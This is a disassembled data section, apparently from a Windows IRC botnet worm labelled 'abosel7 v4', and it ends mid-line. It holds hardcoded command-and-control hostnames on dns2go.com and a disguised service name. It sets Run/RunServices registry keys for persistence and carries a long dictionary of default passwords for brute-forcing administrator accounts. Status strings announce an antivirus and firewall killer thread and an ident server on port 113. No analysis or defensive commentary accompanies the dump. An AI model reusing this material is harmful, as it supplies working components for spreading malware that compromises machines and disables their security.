loc_422E4D align 10h dd offset loc_422E39 dd offset loc_422E3D dword_427908 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422E52+5o dd offset loc_422EA3 align 8 dd offset loc_422E8F dd offset loc_422E93 dword_427920 dd 2 dup(0) ; DATA XREF: sub_4232A8+36o ; sub_4244F4+39o ... dword_427928 dd 0FFFFFFFFh, 4233B8h, 4233BCh, 0FFFFFFFFh, 42346Ch, 423470h ; DATA XREF: sub_4232A8+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .packed:off_43D4DCo db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423DD1+119o align 10h asc_427BF0 db 0Ah ; DATA XREF: sub_423DD1+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_423DD1+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_423DD1+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_423DD1+7Do align 10h dword_427C30 dd 0FFFFFFFFh, 4245EDh, 4245F1h ; DATA XREF: sub_4244F4+5o aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_425029+3Do align 10h aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_425029+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_425029+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_425973:loc_425A68o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_425973+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_425973+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_425973+ADo align 4 dd offset dword_427DAC off_427C90 dd offset loc_4260E2 ; DATA XREF: sub_4260BA+8o ; sub_4260FE+2Co ... dd offset sub_4260D5 dd offset sub_4262F6 dd offset dword_427DF8 off_427CA0 dd offset sub_42614C ; DATA XREF: sub_4260FE+3Ao ; sub_426168o ... dd offset sub_4260D5 dd offset loc_426332 dword_427CAC dd 0 ; DATA XREF: sub_4260FE+16o ; sub_4261D0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426173+11o dd offset dword_427E44 off_427CCC dd offset sub_42625B ; DATA XREF: sub_426277o ; sub_42629A+37o ... dd offset sub_4260D5 dd offset loc_426314 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42629A+11o dd offset dword_427E88 off_427CEC dd offset loc_4264A5 ; DATA XREF: sub_426490o ; .packed:off_43DAE4o ... dd offset dword_427EB8 off_427CF4 dd offset loc_4264C1 ; DATA XREF: sub_4264DD+8o ; sub_42651A+8o ... dd offset sub_42657A aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_42657A+7o align 10h dword_427D10 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_426587+Eo dd 3, 19930520h, 2 dup(0) dword_427D30 dd 0FFFFFFFFh, 426738h, 42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h ; DATA XREF: sub_426636+5o dword_427D48 dd 0FFFFFFFFh, 4269ADh, 4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh ; DATA XREF: sub_4268C1+5o dd 43DAE4h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427D78 dd offset off_43DAFC ; DATA XREF: .packed:00427D90o ; .packed:00427DDCo ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427D78 dd offset dword_427D48+18h dword_427D98 dd 3 dup(0) ; DATA XREF: .packed:00427DBCo dd 2, 427D90h dword_427DAC dd 3 dup(0) ; DATA XREF: .packed:00427C8Co dd offset off_43DAFC dd offset dword_427D98+4 off_427DC0 dd offset off_43DB1C ; DATA XREF: .packed:00427DD8o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DC0 dd offset off_427D78 dd offset dword_427D48+18h dd 0 db 0 ; DATA XREF: .packed:00427E08o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 427DD8h dword_427DF8 dd 3 dup(0) ; DATA XREF: .packed:00427C9Co dd offset off_43DB1C dd offset unk_427DE8 off_427E0C dd offset off_43DB3C ; DATA XREF: .packed:00427E24o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E0C dd offset off_427D78 dd offset dword_427D48+18h dword_427E30 dd 3 dup(0) ; DATA XREF: .packed:00427E54o dd 3, 427E24h dword_427E44 dd 3 dup(0) ; DATA XREF: .packed:00427CC8o dd offset off_43DB3C dd offset dword_427E30+4 off_427E58 dd offset off_43DB60 ; DATA XREF: .packed:00427E70o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E58 dd 0 db 0 ; DATA XREF: .packed:00427E98o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 427E70h dword_427E88 dd 3 dup(0) ; DATA XREF: .packed:00427CE8o dd offset off_43DB60 dd offset unk_427E78 dd offset dword_427D48+18h dword_427EA0 dd 4 dup(0) ; DATA XREF: .packed:00427EC8o dd 1, 427E9Ch dword_427EB8 dd 3 dup(0) ; DATA XREF: .packed:00427CF0o dd offset off_43DAE4 dd offset dword_427EA0+8 align 10h dword_427ED0 dd 19930520h, 2, 427EF0h, 5 dup(0) ; DATA XREF: .packed:loc_426AA7o dd 0FFFFFFFFh, 426A90h, 0 dd offset sub_426A88 dword_427F00 dd 19930520h, 2, 427F20h, 5 dup(0) ; DATA XREF: .packed:loc_426AC4o dd 0FFFFFFFFh, 426AB4h, 0 dd offset loc_426ABC dword_427F30 dd 19930520h, 2, 427F50h, 1, 427F60h, 3 dup(0) ; DATA XREF: .packed:loc_426AD0o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427F78h, 4 dup(0) dd offset loc_40DA8E dd 0FFFFFFFFh, 426ADAh dword_427F90 dd 19930520h, 1, 427F88h, 5 dup(0) ; DATA XREF: .packed:loc_426AE2o dd offset off_43DAE4 align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 42651Ah, 0 dd offset off_43DAFC dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426218h, 0 dd offset off_43DB1C align 10h dd 0FFFFFFFFh, 0 dword_427FF8 dd 1Ch, 426282h, 3, 427FE4h, 427FC8h, 427FACh ; DATA XREF: .packed:0042801Co dword_428010 dd 0 ; DATA XREF: sub_426173+2Eo ; sub_4262F6+4Bo dd offset sub_426168 dd 0 dd offset dword_427FF8+8 dd 0FFFFFFFFh, 426AECh dword_428028 dd 19930520h, 1, 428020h, 4 dup(0) ; DATA XREF: .packed:loc_426AF4o dd 0FFFFFFFFh, 426AFEh dword_42804C dd 19930520h, 1, 428044h, 4 dup(0) ; DATA XREF: .packed:loc_426B06o dd 0FFFFFFFFh, 426B10h dword_428070 dd 19930520h, 1, 428068h, 5 dup(0) ; DATA XREF: .packed:loc_426B18o dd offset off_43DB3C align 8 dd 0FFFFFFFFh, 0 dword_4280A0 dd 1Ch, 4262DEh, 3, 42808Ch, 427FC8h, 427FACh ; DATA XREF: .packed:004280C4o dword_4280B8 dd 0 ; DATA XREF: sub_42629A+2Eo ; sub_4262F6+2Do dd offset sub_426277 dd 0 dd offset dword_4280A0+8 dd 0FFFFFFFFh, 426B22h dword_4280D0 dd 19930520h, 1, 4280C8h, 4 dup(0) ; DATA XREF: .packed:loc_426B2Ao dword_4280EC dd 2, 427FC8h, 427FACh ; DATA XREF: .packed:00428104o dword_4280F8 dd 0 ; DATA XREF: sub_4262F6+Fo dd offset sub_4260BA dd 0 dd offset dword_4280EC dd 28308h, 2 dup(0) dd 2836Eh, 271C4h, 28144h, 2 dup(0) dd 28B82h, 27000h, 92h dup(0) dd 45560000h, 4F495352h, 6C642E4Eh, 6Ch, 31Eh dup(0) dword_429000 dd 0 ; DATA XREF: sub_41C164+1Fo dd offset loc_401205 dd offset sub_40DB3C dd offset sub_40F0EC dword_429010 dd 0 ; DATA XREF: sub_41C164+1Ao dword_429014 dd 0 ; DATA XREF: sub_41C164+10o dd offset sub_41DA32 dd offset sub_420B0D dd offset sub_42413E dd offset sub_424F62 dword_429028 dd 0 ; DATA XREF: sub_41C164:loc_41C16Fo dword_42902C dd 0 ; DATA XREF: sub_41C1B3+65o dd offset sub_4241E3 dword_429034 dd 0 ; DATA XREF: sub_41C1B3:loc_41C213o dword_429038 dd 0 ; DATA XREF: sub_41C1B3+76o dd offset sub_424F73 dword_429040 dd 4 dup(0) ; DATA XREF: sub_41C1B3:loc_41C224o dword_429050 dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h ; DATA XREF: sub_401000+7o dword_429068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... dword_42906C dd 1B58h ; DATA XREF: sub_401221+4A4r ; sub_401221+539r dword_429070 dd 0C8Bh ; DATA XREF: sub_401221+585r dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_4045D8r dword_429078 dd 45h ; DATA XREF: sub_401ACD+202Er ; sub_40BD91+3Br dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403BE9r ; sub_40BD91:loc_40C182r dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403D75r word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_4046FBr align 4 dword_429088 dd 1 ; DATA XREF: sub_401ACD+643r dword_42908C dd 1 ; DATA XREF: sub_401221+13Dr dword_429090 dd 1 ; DATA XREF: sub_401221:loc_401562r ; sub_4188A6+Cr byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A76r ; sub_401ACD+B30r ... align 4 dword_429098 dd 0Ah ; DATA XREF: sub_40AAAC+3Ar ; sub_40AAAC+60r ... dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r ; sub_401ACD+279r ... dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r ; sub_401ACD+273r aDoos db 'DOOS',0 ; DATA XREF: sub_401221+5Do ; sub_401ACD:loc_40445Do ... align 4 aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404902o align 4 aCool db 'cool',0 ; DATA XREF: sub_401ACD+7BCBo ; sub_401ACD+7C9Ao align 10h aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: sub_401221+490o ; sub_401221+52Ao align 4 aFaak db '#FAAK#',0 ; DATA XREF: sub_401221+4B0o ; sub_401221+540o ... align 4 aSaad_ db 'saad.',0 ; DATA XREF: sub_401221+4C7o ; sub_401221+552o align 4 byte_4290E4 db 73h ; DATA XREF: sub_401221:loc_401789r ; sub_401221+576o aCorti1_dns2go_ db 'corti1.dns2go.com',0 align 4 aFaak_0 db '#FAAK#',0 ; DATA XREF: sub_401221+58Co align 10h aSaad__0 db 'saad.',0 ; DATA XREF: sub_401221+59Eo align 4 byte_429108 db 67h ; DATA XREF: sub_401221+143o ; sub_401221+167w ... db 76h, 74h, 64h dd 77796468h, 78652E6Ah, 65h, 6E6E6977h, 61622E74h, 74h aWindowsSercesA db 'Windows Serces Agnt',0 ; DATA XREF: sub_401000+Eo asc_429138: ; DATA XREF: .packed:0040AB2Bo unicode 0, <->,0 aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7D1Do align 10h aF db '#f',0 ; DATA XREF: sub_401ACD+1E91o ; sub_401ACD+1EA2o ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_401ACD+72B4o ; sub_401ACD+730Co align 4 aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40EAo ; sub_401ACD+423Ao align 4 off_42915C dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4096EBo ; "*@admin.com" off_429160 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r ; sub_401ACD+7C3Ao ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 10h db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o ; sub_41A6EA+28o align 10h aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o ; sub_41A6EA+D4o align 4 dd 2 dup(1), 70747468h, 772F2F3Ah, 662E7777h, 77656572h dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h dd 652E6D79h, 6578h, 429938h, 429928h, 429918h, 42990Ch dd 429904h, 4298FCh, 4298F4h, 4298ECh, 4298E0h, 4298D8h dd 4298D0h, 4298C8h, 4298BCh, 4298B4h, 4298ACh, 4298A0h dd 42989Ch, 429894h, 429890h, 0 dd offset byte_43DB88 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass_0 ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest_0 ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer ; "server" dd offset aRoot ; "root" dd offset aNull_1 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 dword_4294CC dd 10h ; DATA XREF: sub_401ACD+AE0r ; sub_401ACD+B0Cr ... aIntranet db 'intranet',0 ; DATA XREF: .packed:004294B8o align 4 aLan db 'lan',0 ; DATA XREF: .packed:004294B0o aMain db 'main',0 ; DATA XREF: .packed:004294ACo align 4 aWinpass db 'winpass',0 ; DATA XREF: .packed:004294A8o aBlank db 'blank',0 ; DATA XREF: .packed:004294A4o align 4 aOffice db 'office',0 ; DATA XREF: .packed:004294A0o align 10h aControl db 'control',0 ; DATA XREF: .packed:0042949Co aXp db 'xp',0 ; DATA XREF: .packed:00429498o align 4 aNokia db 'nokia',0 ; DATA XREF: .packed:00429494o align 4 aHp db 'hp',0 ; DATA XREF: .packed:00429490o align 4 aSiemens db 'siemens',0 ; DATA XREF: .packed:0042948Co aCompaq db 'compaq',0 ; DATA XREF: .packed:00429488o align 4 aDell db 'dell',0 ; DATA XREF: .packed:00429484o align 10h aCisco db 'cisco',0 ; DATA XREF: .packed:00429480o align 4 aIbm db 'ibm',0 ; DATA XREF: .packed:0042947Co aOrainstall db 'orainstall',0 ; DATA XREF: .packed:00429474o align 4 aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .packed:00429470o align 4 aSql db 'sql',0 ; DATA XREF: .packed:0042946Co aSa db 'sa',0 ; DATA XREF: .packed:00429468o align 4 aDb1234 db 'db1234',0 ; DATA XREF: .packed:00429464o align 4 aDb1 db 'db1',0 ; DATA XREF: .packed:0042945Co aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .packed:00429458o align 4 aData db 'data',0 ; DATA XREF: .packed:00429454o align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: .packed:00429450o align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: .packed:0042944Co align 4 aDbpass db 'dbpass',0 ; DATA XREF: .packed:00429448o align 10h aAccess db 'access',0 ; DATA XREF: .packed:00429444o align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: .packed:0042943Co align 4 aDomainpass db 'domainpass',0 ; DATA XREF: .packed:00429438o align 4 aDomain db 'domain',0 ; DATA XREF: .packed:00429434o align 4 aHello db 'hello',0 ; DATA XREF: .packed:00429430o align 4 aHell db 'hell',0 ; DATA XREF: .packed:0042942Co align 4 aGod db 'god',0 ; DATA XREF: .packed:00429428o aSex db 'sex',0 ; DATA XREF: .packed:00429424o ; .packed:off_438A68o aSlut db 'slut',0 ; DATA XREF: .packed:00429420o align 4 aBitch db 'bitch',0 ; DATA XREF: .packed:0042941Co align 4 aFuck db 'fuck',0 ; DATA XREF: .packed:00429418o align 4 aExchange db 'exchange',0 ; DATA XREF: .packed:00429414o align 4 aBackup db 'backup',0 ; DATA XREF: .packed:00429410o align 10h aTechnical db 'technical',0 ; DATA XREF: .packed:0042940Co align 4 aLoginpass db 'loginpass',0 ; DATA XREF: .packed:00429408o align 4 aLogin db 'login',0 ; DATA XREF: .packed:00429404o align 10h aMary db 'mary',0 ; DATA XREF: .packed:00429400o align 4 aKatie db 'katie',0 ; DATA XREF: .packed:004293FCo align 10h aKate db 'kate',0 ; DATA XREF: .packed:004293F4o align 4 aGeorge db 'george',0 ; DATA XREF: .packed:004293F0o align 10h aEric db 'eric',0 ; DATA XREF: .packed:004293ECo align 4 aChris db 'chris',0 ; DATA XREF: .packed:004293E8o align 10h aIan db 'ian',0 ; DATA XREF: .packed:004293E4o aNeil db 'neil',0 ; DATA XREF: .packed:004293E0o align 4 aLee db 'lee',0 ; DATA XREF: .packed:004293DCo aBrian db 'brian',0 ; DATA XREF: .packed:004293D8o align 4 aSusan db 'susan',0 ; DATA XREF: .packed:004293D0o align 10h aSue db 'sue',0 ; DATA XREF: .packed:004293CCo aSam db 'sam',0 ; DATA XREF: .packed:004293C8o aLuke db 'luke',0 ; DATA XREF: .packed:004293C4o align 10h aPeter db 'peter',0 ; DATA XREF: .packed:004293C0o ; .packed:004293D4o align 4 aJohn db 'john',0 ; DATA XREF: .packed:004293BCo align 10h aMike db 'mike',0 ; DATA XREF: .packed:004293B8o align 4 aBill db 'bill',0 ; DATA XREF: .packed:004293B4o align 10h aFred db 'fred',0 ; DATA XREF: .packed:004293B0o align 4 aJoe db 'joe',0 ; DATA XREF: .packed:004293ACo aJen db 'jen',0 ; DATA XREF: .packed:004293A8o aBob db 'bob',0 ; DATA XREF: .packed:004293A4o ; .packed:004293F8o aQwe db 'qwe',0 ; DATA XREF: .packed:004293A0o aZxc db 'zxc',0 ; DATA XREF: .packed:0042939Co aAsd db 'asd',0 ; DATA XREF: .packed:00429398o aQaz db 'qaz',0 ; DATA XREF: .packed:00429394o aWin2000 db 'win2000',0 ; DATA XREF: .packed:00429390o aWinnt db 'winnt',0 ; DATA XREF: .packed:0042938Co align 4 aWinxp db 'winxp',0 ; DATA XREF: .packed:00429388o align 4 aWin2k db 'win2k',0 ; DATA XREF: .packed:00429384o align 4 aWin98 db 'win98',0 ; DATA XREF: .packed:00429380o align 4 aWindows db 'windows',0 ; DATA XREF: .packed:0042937Co aOeminstall db 'oeminstall',0 ; DATA XREF: .packed:00429378o align 10h aOemuser db 'oemuser',0 ; DATA XREF: .packed:00429374o aOem db 'oem',0 ; DATA XREF: .packed:00429370o aUser db 'user',0 ; DATA XREF: sub_401ACD+45CFo ; .packed:0042936Co align 4 aHomeuser db 'homeuser',0 ; DATA XREF: .packed:00429368o align 10h aHome db 'home',0 ; DATA XREF: .packed:00429364o align 4 aAccounting db 'accounting',0 ; DATA XREF: .packed:00429360o align 4 aAccounts db 'accounts',0 ; DATA XREF: .packed:0042935Co align 10h aInternet db 'internet',0 ; DATA XREF: .packed:00429358o ; .packed:004294B4o align 4 aWww db 'www',0 ; DATA XREF: .packed:00429354o aWeb db 'web',0 ; DATA XREF: sub_401ACD+7283o ; .packed:00429350o aOutlook db 'outlook',0 ; DATA XREF: .packed:0042934Co aMail db 'mail',0 ; DATA XREF: .packed:00429348o align 4 aQwerty db 'qwerty',0 ; DATA XREF: .packed:00429344o align 4 aNull_1 db 'null',0 ; DATA XREF: .packed:00429340o align 4 aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Bo ; .packed:00429338o align 4 aSystem db 'system',0 ; DATA XREF: .packed:00429334o align 4 aChangeme db 'changeme',0 ; DATA XREF: .packed:0042932Co align 10h aLinux db 'linux',0 ; DATA XREF: .packed:00429328o align 4 aUnix db 'unix',0 ; DATA XREF: .packed:00429324o align 10h aDemo db 'demo',0 ; DATA XREF: .packed:00429320o align 4 aNone db 'none',0 ; DATA XREF: .packed:0042931Co align 10h aTest db 'test',0 ; DATA XREF: .packed:00429314o align 4 a2004 db '2004',0 ; DATA XREF: .packed:00429310o align 10h a2003 db '2003',0 ; DATA XREF: sub_41AF8F+BAo ; .packed:0042930Co align 4 a2002 db '2002',0 ; DATA XREF: .packed:00429308o align 10h a2001 db '2001',0 ; DATA XREF: .packed:00429304o align 4 a2000 db '2000',0 ; DATA XREF: .packed:00429300o align 10h a1234567890 db '1234567890',0 ; DATA XREF: .packed:004292FCo align 4 a123456789 db '123456789',0 ; DATA XREF: .packed:004292F8o align 4 a12345678 db '12345678',0 ; DATA XREF: .packed:004292F4o align 4 a1234567 db '1234567',0 ; DATA XREF: .packed:004292F0o a123456 db '123456',0 ; DATA XREF: .packed:004292ECo align 4 a12345 db '12345',0 ; DATA XREF: .packed:004292E8o align 4 a1234 db '1234',0 ; DATA XREF: .packed:004292E4o align 4 a123 db '123',0 ; DATA XREF: .packed:004292E0o a12 db '12',0 ; DATA XREF: .packed:004292DCo align 4 a1: ; DATA XREF: .packed:0040AFC7o ; .packed:004292D8o unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: .packed:004292D4o aPwd db 'pwd',0 ; DATA XREF: .packed:004292D0o aPass_0 db 'pass',0 ; DATA XREF: .packed:004292CCo align 10h aPass1234 db 'pass1234',0 ; DATA XREF: .packed:004292C8o align 4 aPasswd db 'passwd',0 ; DATA XREF: .packed:004292C4o align 4 aPassword db 'password',0 ; DATA XREF: .packed:004292C0o align 10h aPassword1 db 'password1',0 ; DATA XREF: .packed:004292BCo align 4 aAdm db 'adm',0 ; DATA XREF: .packed:004292B8o aDb2 db 'db2',0 ; DATA XREF: .packed:00429460o aOracle db 'oracle',0 ; DATA XREF: .packed:00429478o align 4 aDba db 'dba',0 aDatabase db 'database',0 ; DATA XREF: .packed:00429440o align 4 aDefault db 'default',0 ; DATA XREF: .packed:00429330o aGuest_0 db 'guest',0 ; DATA XREF: .packed:00429318o align 4 aWwwadmin db 'wwwadmin',0 align 4 aTeacher db 'teacher',0 ; DATA XREF: .packed:004294C0o aStudent db 'student',0 ; DATA XREF: .packed:004294BCo aOwner db 'owner',0 align 10h aComputer db 'computer',0 align 4 aRoot db 'root',0 ; DATA XREF: .packed:0042933Co align 4 aStaff db 'staff',0 ; DATA XREF: .packed:004294C4o align 4 aAdmin db 'admin',0 ; DATA XREF: .packed:004292B4o align 4 aAdmins db 'admins',0 ; DATA XREF: .packed:004292B0o align 4 aAdministrat db 'administrat',0 ; DATA XREF: .packed:004292ACo aAdministrateur db 'administrateur',0 ; DATA XREF: .packed:004292A8o align 4 aAdministrador db 'administrador',0 ; DATA XREF: .packed:004292A4o align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: .packed:004292A0o align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .packed:0042916Co align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .packed:00429168o align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .packed:00429164o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .packed:off_429160o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: .packed:off_42915Co dword_4299D4 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: sub_401221+46Bo aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 dword_429A08 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: sub_401221+420o aServerRunningO db '- Server running on Port: 113.',0 align 4 unk_429A34 db 2Dh ; - ; DATA XREF: sub_401221+3F3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 4 unk_429A74 db 2Dh ; - ; DATA XREF: sub_401221+3A2o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 dword_429A98 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: sub_401221+364o dd 2E646574h, 0 dword_429AB4 dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_401221+28Fo dword_429AC0 dd 255C7325h, 73h ; DATA XREF: sub_401221+189o ; sub_41716F+45o dword_429AC8 dd 73257325h, 0 ; DATA XREF: sub_401221+10Do ; sub_4100B4+EAo ... unk_429AD0 db 3 ; DATA XREF: sub_4017ED+F2o a81VrxConnected db 